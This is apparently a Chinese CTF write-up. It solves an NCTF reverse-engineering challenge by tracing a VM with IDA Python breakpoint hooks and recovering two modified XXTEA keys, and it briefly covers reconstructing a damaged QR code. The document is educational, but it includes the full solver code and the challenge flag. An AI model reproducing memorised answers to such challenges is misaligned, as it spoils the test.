rbx=get_reg_value('rbx')
addr=rax+rbx*4
add1=getwidedword(addr)
print'Call xOR-xoRValue:'+'{:x}^{:x}'.format(edx,add_1))

一个个加也行,但是有点麻烦,直接执行下面的脚本

LDR{条件} 目的 寄存器 <存储器地址> 但是这里的LDRI LDR STR STRI好像没啥用,然后MOV操作太多了,也没必要一一打出来了,因此浓缩为以下指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from idaapi import *  # 导入 IDA Pro 核心 API
from idc import * # 导入 IDA Pro 辅助函数

base = 0x510000

def set_python_bpt(ea, cond):
idaapi.add_bpt(ea, 4, BPT_DEFAULT) # 添加软件断点
bpt = idaapi.bpt_t()
idaapi.get_bpt(ea, bpt)
bpt.elang = 'Python' # 设置断点条件语言为 Python
bpt.condition = cond # 绑定条件处理函数
idaapi.update_bpt(bpt)

# 以下为各指令的 Hook 函数定义
def hook_shr():
ebx = get_reg_value("ebx")
cl = get_reg_value("cl")
val1 = ebx
val2 = cl
print(f"{val1:x} >> {val2:x} = {(val1 >> val2) & 0xFFFFFFFF:x}")

def hook_shl():
ebx = get_reg_value("ebx")
cl = get_reg_value("cl")
val1 = ebx
val2 = cl
print(f"{val1:x} << {val2:x} = {(val1 << val2) & 0xFFFFFFFF:x}")

def hook_add():
edx = get_reg_value("edx")
rax = get_reg_value("rax")
rbx = get_reg_value("rbx")
val1 = edx
val2 = get_wide_dword(rax + rbx * 4)
print(f"{val1:x} + {val2:x} = {(val1 + val2) & 0xFFFFFFFF:x}")

def hook_xor():
edx = get_reg_value("edx")
rax = get_reg_value("rax")
rbx = get_reg_value("rbx")
val1 = edx
val2 = get_wide_dword(rax + rbx * 4)
print(f"{val1:x} ^ {val2:x} = {(val1 ^ val2) & 0xFFFFFFFF:x}")

def hook_sub():
edx = get_reg_value("edx")
rax = get_reg_value("rax")
rbx = get_reg_value("rbx")
val1 = edx
val2 = get_wide_dword(rax + rbx * 4)
print(f"{val1:x} - {val2:x} = {(val1 - val2) & 0xFFFFFFFF:x}")

def hook_mul():
edx = get_reg_value("edx")
ebx = get_reg_value("ebx")
val1 = edx
val2 = ebx
print(f"{val1:x} * {val2:x} = {(val1 * val2) & 0xFFFFFFFF:x}")

def hook_and():
edx = get_reg_value("edx")
rax = get_reg_value("rax")
rbx = get_reg_value("rbx")
val1 = edx
val2 = get_wide_dword(rax + rbx * 4)
print(f"{val1:x} & {val2:x} = {(val1 & val2) & 0xFFFFFFFF:x}")

# 设置断点并绑定 Hook 函数
set_python_bpt(base + 0x8860, 'hook_shr()')
set_python_bpt(base + 0x8820, 'hook_shl()')
set_python_bpt(base + 0x871D, 'hook_add()')
set_python_bpt(base + 0x87DD, 'hook_xor()')
set_python_bpt(base + 0x875D, 'hook_sub()')
set_python_bpt(base + 0x87A0, 'hook_mul()')
set_python_bpt(base + 0x889A, 'hook_and()')

这里我虽然dump出来了,我输入了40个a,但是我还是分不出来第一部分和第二部分的key

算法将两个进行部分魔改的xxtea夹在了一起,我测试输入aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj才发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
9e37 << 10 = 9e370000
79b9 + 9e370000 = 9e3779b9
9e37 << 10 = 9e370000
79b9 + 9e370000 = 9e3779b9

z >> 5 ^ y << 2
62626262 << 2 = 89898988 # part1
65656565 >> 5 = 32b2b2b
89898988 ^ 32b2b2b = 8aa2a2a3

z << 5 ^ y >> 2
67676767 >> 2 = 19d9d9d9 # part2
6a6a6a6a << 5 = 4d4d4d40
19d9d9d9 ^ 4d4d4d40 = 54949499

y >> 3 ^ z << 4
62626262 >> 3 = c4c4c4c # part1
67676767 << 3 = 3b3b3b38
65656565 << 4 = 56565650
c4c4c4c ^ 56565650 = 5a1a1a1c

(((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4))
8aa2a2a3 + 5a1a1a1c = e4bcbcbf
6a6a6a6a >> 4 = 6a6a6a6 # part2
3b3b3b38 ^ 6a6a6a6 = 3d9d9d9e
54949499 + 3d9d9d9e = 92323237
a78c << 10 = a78c0000
b4f + a78c0000 = a78c0b4f
9f1c << 10 = 9f1c0000

e = (sum >> 2) & 3;
9e3779b9 >> 2 = 278dde6e
f72e + 9f1c0000 = 9f1cf72e
278dde6e & 3 = 2

2 ^ 0 = 2
2 & 3 = 2
9e3779b9 >> 2 = 278dde6e
278dde6e & 3 = 2
2 * 4 = 8
8 + 20 = 28
2 ^ 0 = 2
2 & 3 = 2

sum ^ y
9e3779b9 ^ 62626262 = fc551bdb

(key[(p&3)^e] ^ f[9])
65656565 ^ a78c0b4f = c2e96e2a
2 * 4 = 8

fc551bdb + c2e96e2a = bf3e8a05
8 + 20 = 28
e4bcbcbf ^ bf3e8a05 = 5b8236ba
9e3779b9 ^ 67676767 = f9501ede
6a6a6a6a ^ 9f1cf72e = f5769d44
f9501ede + f5769d44 = eec6bc22
92323237 ^ eec6bc22 = 7cf48e15
......

第一个看到的密钥匙a78c0b4g,为什么key[0]不是它呢,回顾一下加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>  
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}

e = (sum >> 2) & 3 = (0x9E3779B9 >> 2) & 3 = 0x278DDE6E & 3 = 2

key_index = (0 & 3) ^ 2 = 0 ^ 2 = 2 // 使用 key[2]

key[(p & 3) ^ e] // 等价于 key[(p%4) ^ e]

1
2
3
4
5
print(((0x9e3779b9) >> 2) & 3)
print((0 & 3) ^ 2)
print((1 & 3) ^ 2)
print((2 & 3) ^ 2)
print((3 & 3) ^ 2)

模拟了下顺序是2301 可是dump出来的实际顺序是2031

image-20250328194212093

1
2
3
4
5
6
7
8
b4f + a78c0000 = a78c0b4f   2
f72e + 9f1c0000 = 9f1cf72e 2
7466 + 6e630000 = 6e637466 0
3234 + 32300000 = 32303234 0
f0ed + 62e0000 = 62ef0ed 1
12c3 + d6eb0000 = d6eb12c3 1
5446 + 4e430000 = 4e435446 3
3234 + 32300000 = 32303234 3

然后又简化了下,我猜测是2013

这个时候只能猜了,多试试几个顺序,总能搞出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX1 (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t * v, int n, uint32_t * key)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
{
rounds = 6 + 52 / n;

sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
printf("%x \n", (p&3)^e);
z = v[p] += MX1;
}
y = v[0];
z = v[n - 1] += MX1;
}
while (--rounds);
}
else if(n < -1) {
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX1;
}
z = v[n - 1];
y = v[0] -= MX1;
sum -= DELTA;
}
while (--rounds);
}
}

unsigned char cipher[] = { 0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1, 0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69 };
int main()
{
uint32_t * v = (uint32_t*)cipher;

uint32_t k[4] = { 0x6e637466,0x62ef0ed,0xa78c0b4f,0x32303234 };
int n = 5;
btea(v, n, k);
unsigned char a;

for (int i = 0; i < 5; i++) {
//printf("%x ", v[i]);
}
for (int i = 0; i < 32; i++)
{
printf("%c", cipher[i]);
}

//NCTF{H4rd_VM_with_Go
return 0;
}

这个程序搞出来的顺序2301

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <iostream>
#define DELTA 0x9e3779b9

#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

#define MX2 (((z << 5 ^ y >> 2) + (y << 3 ^ z >> 4)) ^ ((sum ^ y) + (key2[(p & 3) ^ e] ^ z)))

uint32_t key[]{ 0x6e637466, 0x62ef0ed ,0xa78c0b4f, 0x32303234 };

uint32_t key2[]{ 0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446 };

void xxtea_decrypt1(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p-1)%5];

if (p == 4)
y = v[0];
else
y = v[p + 1];

v[p] -= MX;

}
sum -= DELTA;
} while (--rounds);
}

void xxtea_decrypt2(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p - 1) % 5];

if (p == 4)
y = v[0];
else
y = v[p + 1];

v[p] -= MX2;

}
sum -= DELTA;
} while (--rounds);
}

int main()
{
unsigned char enc1[] =
{
0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1,
0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69
};
unsigned char enc2[] =
{
0xDE, 0x81, 0xD8, 0xAD, 0xC2, 0xC4, 0xA6, 0x32, 0x1C, 0xAB,
0x61, 0x3E, 0xCB, 0xFF, 0xEF, 0xF1, 0x27, 0x30, 0x7A, 0x16
};

xxtea_decrypt1((uint32_t*)enc1, 5);
xxtea_decrypt2((uint32_t*)enc2, 5);

printf("%.20s%.20s\n", enc1,enc2);

return 0;
}
// NCTF{H4rd_VM_with_Gor0ut1n3_5fc4b0be7ad}

MISC[复现]

QRcode Reconstruction

qrcode

image-20250325160544142

QRazyBox - QR Code Analysis and Recovery Toolkit

image-20250325165946892

手动改

image-20250325165603911

image-20250325165621249

image-20250325165633050

原理是二维码的点,不是每个点都是有意义的,可以直接复制原图的点,重构,一些点可以多次尝试然后得出信息